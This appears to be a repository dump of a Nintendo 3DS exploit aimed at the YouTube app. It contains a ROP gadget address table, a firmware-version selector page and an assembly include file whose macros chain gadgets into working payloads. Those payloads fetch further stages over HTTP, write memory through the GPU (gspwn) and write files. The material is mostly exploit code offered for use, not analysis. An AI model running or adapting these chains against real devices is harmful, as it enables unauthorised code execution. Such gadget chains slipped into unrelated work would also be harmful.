8 | ("YTB_ROP_POP_R0PC", 0x0013b358, 0x1), # pop {r0, pc}
9 | ("YTB_ROP_POP_R1PC", 0x0034c2f8, 0x1), # pop {r1, pc}
10 | ("YTB_ROP_POP_R4LR_BX_R1", 0x0034e3d8, 0x2), # pop {r4, lr} | bx r1
11 | ("YTB_ROP_POP_R4R5PC", 0x00433754, 0x1), # pop {r4, r5, pc}
12 | ("YTB_ROP_POP_R3PC", 0x0022a420, 0x1), # pop {r3, pc}
13 | ("YTB_ROP_POP_R4PC", 0x0012bca4, 0x1), # pop {r4, pc}
14 | ("YTB_ROP_POP_R2R3R4R5R6PC", 0x00348e88, 0x1), # pop {r2, r3, r4, r5, r6, pc}
15 | ("YTB_ROP_POP_R4R5R6R7R8R9R10R11PC", 0x00131198, 0x1), # pop {r4, r5, r6, r7, r8, r9, sl, fp, pc}
16 | ("YTB_ROP_POP_R4R5R6R7R8R9R10R11R12PC", 0x001331b0, 0x1), # pop {r4, r5, r6, r7, r8, r9, sl, fp, ip, pc}
17 | ("YTB_ROP_BLX_R4_ADD_SPx10_POP_R4PC", 0x001673a4, 0x3), # blx r4 ; add sp, sp, #16 ; pop {r4, pc}
18 |
19 | ("YTB_ROP_STR_R0R1_POP_R4PC", 0x0012bca0, 0x2), # str r0, [r1] ; pop {r4, pc}
20 | ("YTB_ROP_STR_R0R4_POP_R4PC", 0x001306ac, 0x2), # str r0, [r4] ; pop {r4, pc}
21 | ("YTB_ROP_STM_R4R0R1_POP_R4_PC", 0x001fb254, 0x2), # stm r4, {r0, r1} ; pop {r4, pc}
22 | ("YTB_ROP_STM_R0R1R2_POP_R4_PC", 0x003599a0, 0x2), # stm r4, {r1, r2} ; pop {r4, pc}
23 | ("YTB_ROP_LDR_R1R1_BLX_R3", 0x0016e644, 0x2), # ldr r1, [r1] ; blx r3
24 |
25 |
26 | ("YTB_ROP_ANDR0R0R1_POP_R4PC", 0x002bd128, 0x2), # and r0, r0, 0x00334ec8; pop {r4, pc}
27 | ("YTB_ROP_CMP_R0R1_MVNLS_R0x0_MOVHI_R0x1_POP_R4PC", 0x00334ec8, 0x4),
28 | ("YTB_ROP_BLXNE_R3_MOV_R0x0_POP_R4PC", 0x00335120, 0x3),
29 |
30 | ("YTB_ROP_MOV_R1R0_MOV_R0R1_POP_PC", 0x0029b314, 0x3),
31 | ("YTB_ROP_MOV_R2R0_MOV_R0R2_POP_R4R5R6PC", 0x0015b9e8, 0x3),
32 |
33 | ("YTB_ROP_LDR_R2R1_ADD_R1SPx4_BLX_R3", 0x0017786c, 0x3), # ldr r2, [r1] ; add r1, sp, #4 ; blx r3
34 |
35 | ("YTB_ROP_LDR_R0R0_POP_R4PC", 0x00168910, 0x2), # ldr r0, [r0] ; pop {r4, pc}
36 |
37 | ("YTB_ROP_MRC_R0C13C03_ADD_R0R0x5C_BX_LR", 0x001390f4, 0x3), # mrc 15, 0, r0, cr13, cr0, {3} ; add r0, r0, #0x5c ; bx lr
38 |
39 | ("YTB_ROP_ADD_R0R0R4_POP_R4PC", 0x003107dc, 0x2), # add r0, r0, r4 ; pop {r4, pc}
40 |
41 | ("YTB_HTTPC_STRUCT", 0x0020D6D4, 0x10, 0x46), # + 0x4 : bool enabled (SBS), + 0x2C : http:C handle
42 | ("YTB_APT_HANDLE", 0x0012E1E0, (0x8, 0x1, 0x5), 0xe),
43 | ("YTB_GSPGPU_INTERRUPT_RECEIVER_STRUCT", 0x0020E4F8, (0x4, 0x12, 0x1, 0x1, 0x2), 0x20),
44 | ("YTB_GSPGPU_HANDLE", 0x0020E4F8, (0x4, 0x12, 0x1, 0x1, 0x2), 0x1f),
45 | ("YTB_DSP_HANDLE", 0x0012D938, (0x3, 0x1, 0x4, 0x1, 0x3, 0x2, 0xa), 0x26),
46 |
47 | ("YTB_SVC_SLEEPTHREAD", 0x00342ebc, 0x2), # svc 0xa
48 | ("YTB_SVC_SETTHREADPRIORITY", 0x0034af34, 0x2), # svc 0xc
49 | ("YTB_SVC_SENDSYNCREQUEST", 0x00344cc4, 0x2), # svc 0x32
50 | ("YTB_MEMCPY", 0x0034b098, 0x10),
51 | ("YTB_HTTPC_INITIALIZE", 0x00216230, 0xA), # r0 : handle ptr, r1 : 0x0 ?, r2 : 0x1000, r3 : 0x0 ?
52 | ("YTB_HTTPC_RECEIVEDATA", 0x0020e108, 0xA), # r0 : handle ptr, r1 : httpc context handle, r2 : buffer address, r3 : buffer size
53 | ("YTB_HTTPC_CREATECONTEXTWRAPPER", 0x0020d6d4, 0x7), # r0 : context struct (0x4 : SBZ context handle slot, 0x8 : SBZ context http:C handle slot, 0xC : same as 0x8), r1 : url ptr, r2 ":( ",est method,), r3 : bool use_proxy# HTTPC_STRUCT + 0x4 SBS, HTTPC_STRUCT + 0x2c = http:C handle
54 | ("YTB_APT_ISREGISTERED", 0x003439B8, (0x8, 0x1, 0x7)), # r0 : appId, r1 : out_ptr
55 | ("YTB_SRV_GETSERVICEHANDLEWRAPPER", 0x00344cfc, (0x1, 0x1, 0x6, 0x1, 0x1)), # r0 : out ptr, r1 : service name ptr, r2 : service name length, r3 : 0
56 | ("YTB_GSPGPU_FLUSHDATACACHE", 0x0020f14c, (0x9, 0x1, 0x5)),
57 | ("YTB_GSPGPU_GXTRYENQUEUE", 0x002FBA28, 0x10),
58 | ("YTB_GSPGPU_GXCMD4", 0x0020E91C, 0xC),
59 | ("YTB_GSPGPU_FLUSHDATACACHE_WRAPPER", 0x0020E820, (0x5, 0x1, 0x4)),
60 | ("YTB_DSP_UNLOADCOMPONENT", 0x001369A4, 0x5),
61 | ("YTB_DSP_REGISTERINTERRUPTEVENTS", 0x00136A38, (0x9, 0x1, 0x5)),
62 | ("YTB_OPENFILE", 0x003466D8, (0x6, 0x1, 0x8)),
63 | ("YTB_SETFILESIZE", 0x003070AC, (0x6, 0x1, 0xb)),
64 | ("YTB_WRITEFILE", 0x003070F4, (0x14)),
65 | ("YTB_MOUNTSAVEARCHIVE", 0x00205EB0, (0x9, 0x1, 0x7)),
66 | ("YTB_CONTROLARCHIVE", 0x002FF2C0, (0x2, 0x1, 0xf)),
67 | ("YTB_MEMCLR", 0x0034B1DC, (0x4)),
68 | ("YTB_STRLEN", 0x0034CE00, (0x10)),
69 | ]
70 |
--------------------------------------------------------------------------------
/ytb_page/version.html:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 | Firmware version selector
6 |
7 |
8 |
9 |
10 |
11 | Select your firmware version
12 |
13 |
95 |
96 | Note : select "NEW" only if you own a 'New 3DS' or 'New 3DS XL'; select "OLD" if you own a '3DS', '3DS XL' or '2DS'.
97 |
98 |
99 |
100 |
103 |
104 |
105 |
106 |
--------------------------------------------------------------------------------
/ytb_page/hax.php:
--------------------------------------------------------------------------------
1 |
14 |
15 |
16 |
17 |
29 |
30 |
31 |
35 |
36 |
71 |
72 |
73 |
74 |
75 |
76 |
77 |
78 |
--------------------------------------------------------------------------------
/ytb_include/ytb_include.s:
--------------------------------------------------------------------------------
1 | PAYLOAD_PRIM_LOC equ 0x1f05DC00
2 | PAYLOAD_SEC_LOC equ 0x15000000
3 | PAYLOAD_THIRD_LOC equ 0x15100000
4 |
5 | .include "../build/constants.s"
6 |
7 | YTB_HTTPC_HANDLE equ (YTB_HTTPC_STRUCT + 0x2C)
8 | YTB_PAD equ 0x1000001C
9 | YTB_COOKIEWIPE_KEY equ 0x00000008 ; START
10 |
11 | .macro set_lr,_lr
12 | .word YTB_ROP_POP_R1PC ; pop {r1, pc}
13 | .word YTB_ROP_NOP ; pop {pc}
14 | .word YTB_ROP_POP_R4LR_BX_R1 ; pop {r4, lr} ; bx r1
15 | .word 0xFFFFFFFF ; r4 (garbage)
16 | .word _lr ; lr
17 | .endmacro
18 |
19 | .macro sleep,nanosec_low,nanosec_high
20 | set_lr YTB_ROP_NOP
21 | .word YTB_ROP_POP_R0PC ; pop {r0, pc}
22 | .word nanosec_low ; r0
23 | .word YTB_ROP_POP_R1PC ; pop {r1, pc}
24 | .word nanosec_high ; r1
25 | .word YTB_SVC_SLEEPTHREAD
26 | .endmacro
27 |
28 | .macro set_thread_priority,priority
29 | set_lr YTB_ROP_NOP
30 | .word YTB_ROP_POP_R0PC ; pop {r0, pc}
31 | .word 0xFFFF8000 ; r0
32 | .word YTB_ROP_POP_R1PC ; pop {r1, pc}
33 | .word priority ; r1
34 | .word YTB_SVC_SETTHREADPRIORITY
35 | .endmacro
36 |
37 | .macro memcpy,dst,src,size
38 | set_lr YTB_ROP_NOP
39 | .word YTB_ROP_POP_R0PC ; pop {r0, pc}
40 | .word dst ; r0
41 | .word YTB_ROP_POP_R1PC ; pop {r1, pc}
42 | .word src ; r1
43 | .word YTB_ROP_POP_R2R3R4R5R6PC ; pop {r2, r3, r4, r5, r6, pc}
44 | .word size ; r2
45 | .word 0xFFFFFFFF ; r3 (garbage)
46 | .word 0xFFFFFFFF ; r4 (garbage)
47 | .word 0xFFFFFFFF ; r5 (garbage)
48 | .word 0xFFFFFFFF ; r6 (garbage)
49 | .word YTB_MEMCPY
50 | .endmacro
51 |
52 | .macro getServiceHandle,dst,name_0,name_1,name_length
53 | set_lr YTB_ROP_POP_R4R5PC
54 | .word YTB_ROP_POP_R0PC ; pop {r0, pc}
55 | .word dst ; r0
56 | .word YTB_ROP_POP_R1PC ; pop {r1, pc}
57 | .word PAYLOAD_LOC + @@service_name ; r1
58 | .word YTB_ROP_POP_R2R3R4R5R6PC ; pop {r2, r3, r4, r5, r6, pc}
59 | .word name_length ; r2 (addr)
60 | .word 0xFFFFFFFF ; r3 (garbage)
61 | .word 0xFFFFFFFF ; r4 (garbage)
62 | .word 0xFFFFFFFF ; r5 (garbage)
63 | .word 0xFFFFFFFF ; r6 (garbage)
64 | .word YTB_SRV_GETSERVICEHANDLEWRAPPER
65 | @@service_name:
66 | .word name_0, name_1
67 | .endmacro
68 |
69 | .macro httpcCreateContextWrapper, context_struct, url, method, use_proxy
70 | set_lr YTB_ROP_NOP
71 | .word YTB_ROP_POP_R0PC ; pop {r0, pc}
72 | .word context_struct ; r0
73 | .word YTB_ROP_POP_R1PC ; pop {r1, pc}
74 | .word url ; r1
75 | .word YTB_ROP_POP_R2R3R4R5R6PC ; pop {r2, r3, r4, r5, r6, pc}
76 | .word method ; r2 (addr)
77 | .word use_proxy ; r3
78 | .word 0xFFFFFFFF ; r4 (garbage)
79 | .word 0xFFFFFFFF ; r5 (garbage)
80 | .word 0xFFFFFFFF ; r6 (garbage)
81 | .word YTB_HTTPC_CREATECONTEXTWRAPPER
82 | .endmacro
83 |
84 | .macro httpcInitialize
85 | set_lr YTB_ROP_NOP
86 | .word YTB_ROP_POP_R0PC ; pop {r0, pc}
87 | .word YTB_HTTPC_HANDLE ; r0
88 | .word YTB_ROP_POP_R1PC ; pop {r1, pc}
89 | .word 0x00000000 ; r1
90 | .word YTB_ROP_POP_R2R3R4R5R6PC ; pop {r2, r3, r4, r5, r6, pc}
91 | .word 0x00001000 ; r2
92 | .word 0x00000000 ; r3
93 | .word 0xFFFFFFFF ; r4 (garbage)
94 | .word 0xFFFFFFFF ; r5 (garbage)
95 | .word 0xFFFFFFFF ; r6 (garbage)
96 | .word YTB_HTTPC_INITIALIZE
97 | .endmacro
98 |
99 | .macro httpcBeginRequest, handle_ptr, context_ptr
100 | set_lr YTB_ROP_NOP
101 | .word YTB_ROP_POP_R0PC
102 | .word handle_ptr ; r0 (handle ptr)
103 | .word YTB_ROP_LDR_R0R0_POP_R4PC
104 | .word YTB_APT_HANDLE ; r4 (context handle)
105 | .word YTB_ROP_STR_R0R4_POP_R4PC
106 | .word 0xFFFFFFFF ; r4 (garbage)
107 |
108 | .word YTB_ROP_POP_R0PC
109 | .word context_ptr ; r0 (context handle ptr)
110 | .word YTB_ROP_LDR_R0R0_POP_R4PC
111 | .word 0xFFFFFFFF ; r4 (garbage)
112 | .word YTB_ROP_POP_R1PC
113 | .word PAYLOAD_LOC - 0x100 ; dummy ptr
114 | .word YTB_APT_ISREGISTERED ; same cmd header as httpcBeginRequest
115 | .endmacro
116 |
117 | .macro httpcReceiveData, handle, context_ptr, buffer_addr, buffer_size
118 | .word YTB_ROP_POP_R0PC ; pop {r0, pc}
119 | .word handle ; r0
120 | .word YTB_ROP_POP_R1PC ; pop {r1, pc}
121 | .word context_ptr ; r1
122 | .word YTB_ROP_POP_R3PC
123 | .word YTB_ROP_NOP
124 | .word YTB_ROP_LDR_R1R1_BLX_R3
125 | .word YTB_ROP_POP_R2R3R4R5R6PC ; pop {r2, r3, r4, r5, r6, pc}
126 | .word buffer_addr ; r2 (addr)
127 | .word buffer_size ; r3
128 | .word YTB_HTTPC_RECEIVEDATA ; r4 (garbage)
129 | .word 0xFFFFFFFF ; r5 (garbage)
130 | .word 0xFFFFFFFF ; r6 (garbage)
131 | .word YTB_ROP_BLX_R4_ADD_SPx10_POP_R4PC
132 | .word 0xFFFFFFFF ; garbage
133 | .word 0xFFFFFFFF ; garbage
134 | .word 0xFFFFFFFF ; garbage
135 | .word 0xFFFFFFFF ; garbage
136 | .word 0xFFFFFFFF ; r4 (garbage)
137 | .endmacro
138 |
139 | .macro dsp_unloadcomponent
140 | set_lr YTB_ROP_NOP
141 | .word YTB_ROP_POP_R0PC ; pop {r0, pc}
142 | .word YTB_DSP_HANDLE ; r0 (handle ptr)
143 | .word YTB_DSP_UNLOADCOMPONENT
144 | .endmacro
145 |
146 | .macro dsp_registerinterruptevents
147 | set_lr YTB_ROP_NOP
148 | .word YTB_ROP_POP_R0PC ; pop {r0, pc}
149 | .word YTB_DSP_HANDLE ; r0 (handle ptr)
150 | .word YTB_ROP_POP_R1PC ; pop {r1, pc}
151 | .word 0x00000000 ; r1 (handle ptr)
152 | .word YTB_ROP_POP_R2R3R4R5R6PC ; pop {r2, r3, r4, r5, r6, pc}
153 | .word 0x00000002 ; r2
154 | .word 0x00000002 ; r3
155 | .word 0xFFFFFFFF ; r4 (garbage)
156 | .word 0xFFFFFFFF ; r5 (garbage)
157 | .word 0xFFFFFFFF ; r6 (garbage)
158 | .word YTB_DSP_REGISTERINTERRUPTEVENTS
159 | .endmacro
160 |
161 | .macro flush_dcache,addr,size
162 | set_lr YTB_ROP_NOP
163 | .word YTB_ROP_POP_R0PC ; pop {r0, pc}
164 | .word YTB_GSPGPU_HANDLE ; r0 (handle ptr)
165 | .word YTB_ROP_POP_R1PC ; pop {r1, pc}
166 | .word 0xFFFF8001 ; r1 (process handle)
167 | .word YTB_ROP_POP_R2R3R4R5R6PC ; pop {r2, r3, r4, r5, r6, pc}
168 | .word addr ; r2 (addr)
169 | .word size ; r3 (src)
170 | .word 0xDEADBABE ; r4 (garbage)
171 | .word 0xDEADBABE ; r5 (garbage)
172 | .word 0xDEADBABE ; r6 (garbage)
173 | .word YTB_GSPGPU_FLUSHDATACACHE
174 | .endmacro
175 |
176 | .macro gspwn,dst,src,size
177 | set_lr YTB_ROP_POP_R4R5R6R7R8R9R10R11PC
178 | .word YTB_ROP_POP_R0PC ; pop {r0, pc}
179 | .word YTB_GSPGPU_INTERRUPT_RECEIVER_STRUCT + 0x58 ; r0 (nn__gxlow__CTR__detail__GetInterruptReceiver)
180 | .word YTB_ROP_POP_R1PC ; pop {r1, pc}
181 | .word PAYLOAD_LOC + @@gxCommandPayload ; r1 (cmd addr)
182 | .word YTB_GSPGPU_GXTRYENQUEUE
183 | @@gxCommandPayload:
184 | .word 0x00000004 ; command header (SetTextureCopy)
185 | .word src ; source address
186 | .word dst ; destination address (standin, will be filled in)
187 | .word size ; size
188 | .word 0xFFFFFFFF ; dim in
189 | .word 0xFFFFFFFF ; dim out
190 | .word 0x00000008 ; flags
191 | .word 0x00000000 ; unused
192 | .endmacro
193 |
194 | .macro gspgpuSetBufferSwap,screen,framebuf_adr,flags
195 | ; get TLS
196 | set_lr YTB_ROP_ADD_R0R0R4_POP_R4PC
197 | .word YTB_ROP_POP_R4PC
198 | .word 0x80 - 0x5C ; r4 (offset)
199 | .word YTB_ROP_MRC_R0C13C03_ADD_R0R0x5C_BX_LR
200 | .word 0xFFFFFFFF ; r4 (garbage)
201 |
202 | ; memcpy to it
203 | set_lr YTB_ROP_NOP
204 | .word YTB_ROP_POP_R1PC ; pop {r1, pc}
205 | .word PAYLOAD_LOC + @@cmdBuf ; r1 (cmd addr)
206 | .word YTB_ROP_POP_R2R3R4R5R6PC ; pop {r2, r3, r4, r5, r6, pc}
207 | .word @@cmdBuf_end - @@cmdBuf ; r2
208 | .word 0xFFFFFFFF ; r3 (garbage)
209 | .word 0xFFFFFFFF ; r4 (garbage)
210 | .word 0xFFFFFFFF ; r5 (garbage)
211 | .word 0xFFFFFFFF ; r6 (garbage)
212 | .word YTB_MEMCPY
213 |
214 | ; grab handle
215 | .word YTB_ROP_POP_R0PC ; pop {r0, pc}
216 | .word YTB_GSPGPU_HANDLE ; r0 (handle ptr)
217 | .word YTB_ROP_LDR_R0R0_POP_R4PC
218 | .word 0xFFFFFFFF ; r4 (garbage)
219 |
220 | ; do command
221 | set_lr YTB_ROP_POP_R4R5R6R7R8R9R10R11R12PC
222 | .word YTB_SVC_SENDSYNCREQUEST
223 | @@cmdBuf:
224 | .word 0x00050200 ; command header
225 | .word screen
226 | .word 0x00000008
227 | .word framebuf_adr
228 | .word framebuf_adr
229 | .word 240 * 3
230 | .word flags
231 | .word 0x00000000
232 | .word 0x00000000
233 | @@cmdBuf_end:
234 | .endmacro
235 |
236 | .macro fopen,f,name,flags
237 | set_lr YTB_ROP_NOP
238 | .word YTB_ROP_POP_R0PC
239 | .word f
240 | .word YTB_ROP_POP_R1PC
241 | .word name
242 | .word YTB_ROP_POP_R2R3R4R5R6PC
243 | .word flags ; r2
244 | .word 0xFFFFFFFF ; r3
245 | .word 0xFFFFFFFF ; r4
246 | .word 0xFFFFFFFF ; r5
247 | .word 0xFFFFFFFF ; r6
248 | .word YTB_OPENFILE
249 | .endmacro
250 |
251 | .macro fwrite,f,bytes_written,data,size,flush
252 | set_lr YTB_ROP_POP_R1PC
253 | .word YTB_ROP_POP_R0PC
254 | .word f
255 | .word YTB_ROP_POP_R1PC
256 | .word bytes_written ; bytes written
257 | .word YTB_ROP_POP_R2R3R4R5R6PC
258 | .word data ; r2
259 | .word size ; r3
260 | .word 0xFFFFFFFF ; r4
261 | .word 0xFFFFFFFF ; r5
262 | .word 0xFFFFFFFF ; r6
263 | .word YTB_WRITEFILE
264 | .word flush
265 | .endmacro
266 |
267 | .macro fsetsize,f,size,skip_r1
268 | set_lr YTB_ROP_NOP
269 | .word YTB_ROP_POP_R0PC
270 | .word f
271 | .if skip_r1 == 0
272 | .word YTB_ROP_POP_R1PC
273 | .word size
274 | .endif
275 | .word YTB_SETFILESIZE
276 | .endmacro
277 |
278 | .macro control_archive,archive
279 | set_lr YTB_ROP_NOP
280 | .word YTB_ROP_POP_R0PC
281 | .word archive
282 | .word YTB_CONTROLARCHIVE
283 | .endmacro
284 |
285 | .macro conditional_call,adr,mask,val,arg0,arg1,func
286 | .word YTB_ROP_POP_R0PC ; pop {r0, pc}
287 | .word adr ; r0 (PAD)
288 | .word YTB_ROP_LDR_R0R0_POP_R4PC ; ldr r0, [r0] ; pop {r4, pc}
289 | .word 0xFFFFFFFF ; r4 (garbage)
290 | .word YTB_ROP_POP_R1PC
291 | .word mask ; r1 (keycombo)
292 | .word YTB_ROP_ANDR0R0R1_POP_R4PC
293 | .word 0xFFFFFFFF ; r4 (garbage)
294 | .word YTB_ROP_POP_R1PC
295 | .word val ; r1
296 | .word YTB_ROP_CMP_R0R1_MVNLS_R0x0_MOVHI_R0x1_POP_R4PC
297 | .word 0xFFFFFFFF ; r4 (garbage)
298 | .word YTB_ROP_POP_R0PC
299 | .word arg0 ; r0 (dst)
300 | .word YTB_ROP_POP_R1PC
301 | .word arg1 ; r1 (size)
302 | .word YTB_ROP_POP_R2R3R4R5R6PC ; pop {r2, r3, r4, r5, r6, pc}
303 | .word 0xFFFFFFFF ; r2 (garbage)
304 | .word func ; r3 (garbage)
305 | .word 0xFFFFFFFF ; r4 (garbage)
306 | .word 0xFFFFFFFF ; r5 (garbage)
307 | .word 0xFFFFFFFF ; r6 (garbage)
308 | .word YTB_ROP_BLXNE_R3_MOV_R0x0_POP_R4PC
309 | .word 0xFFFFFFFF ; r4 (garbage)
310 | .endmacro
311 |
--------------------------------------------------------------------------------